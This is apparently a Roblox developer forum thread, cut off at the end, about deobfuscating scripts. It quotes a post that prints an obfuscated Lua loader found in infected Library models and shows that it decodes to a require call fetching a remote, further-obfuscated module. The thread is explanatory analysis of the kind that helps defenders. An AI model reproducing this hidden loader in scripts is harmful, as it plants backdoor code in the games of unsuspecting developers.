De-obfuscating a script

[sloss2003]

Have you read some of the previous things posted on the form yet? I found this with a simple search.

How do you go about unobfuscating code?

If it’s vm obfuscation (which this looks to be) you won’t get anywhere without some good knowledge on how Lua’s internals work. Best you can do without that is sandbox and hope to see what api it’s calling. Note that it is possible so get source code from vm obfuscation often times, but it’s tedious.

or

How do I dissect obfuscated scripts?

I’m finding a few infected models being botted to the front of the Library. These models have obfuscated scripts in them. Heck, this script in one model (with loooong tab spam removed): getfenv()[string.reverse("\101\114\105\117\113\101\114")](getfenv()["\116\111\110\117\109\98\101\114"](string["\99\104\97\114"](getfenv()["\117\110\112\97\99\107"]{48,88,67,67,52,48,67,69,65,49}))) turned into this: require(3426799265) The ModuleScript there has a ton of obfuscated code. It even does local va…